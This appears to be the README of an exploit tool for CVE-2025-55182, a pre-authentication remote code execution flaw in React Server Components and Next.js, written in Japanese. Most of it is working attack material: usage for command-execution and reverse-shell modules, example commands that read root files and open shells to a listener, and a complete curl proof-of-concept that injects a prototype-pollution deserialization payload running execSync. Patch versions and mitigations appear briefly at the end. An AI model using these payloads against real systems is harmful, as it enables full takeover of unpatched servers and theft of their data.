
CVE-2025-55182 — React Server Components (React2Shell)における認証なしのRCE。承認された侵入テスト用のCVSS 10.0エクスプロイトツール。
React Server Components における Flight プロトコルの安全でないデシリアライゼーションを介した認証不要の RCE。単一の HTTP リクエストでサーバ上で任意のコードを実行できます — 認証情報や事前のアクセスは一切不要です。
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\__ \/ __ \/ _ \/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\___/\__,_/\__/_/|_|
/_/
React Server Components — Flight Protocol RCE
CVE-2025-55182 · CVSS 10.0
Author: SpeatX · OSCP Style · v1.0
CVE-2025-55182 · CVSS 10.0 · 認証不要 · 事前認証 RCE · 2025年12月3日公開
影響を受けるのは React 19(≤ 19.2.0)および Server Actions を使用するすべての Next.js アプリケーションです。デフォルト設定が脆弱であり、ターゲット側にカスタムコードは必要ありません。
影響を受けるバージョン
| パッケージ | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
react-server | 19.0.0 → 19.2.0 | 19.3.0+ |
next | React 19 がパッチ未適用のすべてのバージョン | 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+ |
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests
Python 3.8+ が必要です。その他の依存関係はありません。
python exploit.py <module> -t <target> [options]
Modules:
check ターゲットのフィンガープリントを取得し、脆弱性を確認
exec 単一の OS コマンドを実行し、出力を読み取る
revshell リバースシェルをリスナーに送信
Options:
-t, --target URL ターゲット URL
-c CMD 実行するコマンド(exec モジュール)
--lhost IP 自身の IP(未設定の場合は tun0 から自動検出)
--lport PORT リスニングポート(デフォルト: 4444)
--shell-type TYPE bash · python3 · nc · mkfifo · node(デフォルト: bash)
--proxy URL プロキシ経由でルーティング(例: http://127.0.0.1:8080)
--random-agent リクエストごとに User-Agent をローテーション
--timeout N リクエストのタイムアウト(デフォルト: 15)
推奨ワークフロー — まずは常に check から:
# 1. ターゲットが脆弱であることを確認
python exploit.py check -t http://10.10.11.50
# 2. コマンドを実行して列挙またはフラグを取得
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"
# 3. インタラクティブなシェルが必要な場合に取得
# (最初にリスナーを起動: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001
プロキシサポートとランダム User-Agent は任意のモジュールで使用可能:
python exploit.py check -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080
モジュール別ヘルプ: python exploit.py <module> --help
React Server Components は Flight プロトコルと呼ばれる内部ストリーミング形式で通信します。ブラウザが Server Action を呼び出すと、Next-Action ヘッダー付きの multipart/form-data POST をアプリケーションルートに送信します。サーバはアクション ID の検証を行う前に、本文を react-server パッケージに渡してデシリアライズします。
Browser Node.js / Next.js
│ │
│── POST / ────────────────────────>│
│ Next-Action: x │
│ Content-Type: multipart/form-data│
│ Body: poisoned Flight chunk │
│ │
│ react-server │
│ resolveModelToJSON() │ ← vulnerable
│ │
│<── 307 + X-Action-Redirect ───────│ output here
resolveModelToJSON() 内部では、デシリアライザが受信した JSON チャンクを走査します。then プロパティを持つオブジェクトに遭遇すると、それを Promise として扱い、await します — これは非同期 Server Components の意図された動作です。問題は、thenable が信頼できるソースからのものであることを確認する検証が行われないことです。
攻撃者は、then プロパティが require('child_process').execSync(...) を指す偽のチャンクをマルチパート本文に注入します。React がそれを待機し、OS コマンドが実行されます。
Next-Action: x が機能する理由本番環境では、Server Actions は SHA ハッシュで識別されます。サーバは処理前にこれを検証する必要があります。しかし、Flight デコーダはそのチェックより前に実行されるため、Next-Action ヘッダーが付いた POST は、完全に偽の値(x など)であっても、脆弱なデシリアライゼーションパスをトリガーします。有効なアクション ID は必要ありません。
注入されたコードはコマンド出力を取得し、細工された NEXT_REDIRECT エラーをスローします:
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
Next.js はこれをキャッチして 307 Temporary Redirect に変換し、X-Action-Redirect レスポンスヘッダーに digest を埋め込みます。コマンド出力は URL エンコードされて届きます:
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;
curl -si -X POST http://TARGET/ \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=----Boundary' \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'
出力は X-Action-Redirect ヘッダー内にあり、/login?a= の後に URL エンコードされています。
npm install react@latest react-dom@latest next@latest
最低限の安全バージョン: react-server ≥ 19.3.0 · next ≥ 15.3.6
パッチ適用がすぐに不可能な場合:
next.config.js で experimental: { serverActions: false } を設定するNext-Action ヘッダーをブロックするNEXT_REDIRECT または __proto__ を含む POST 本文を拒否する許可されたペネトレーションテストおよび教育目的に限ります。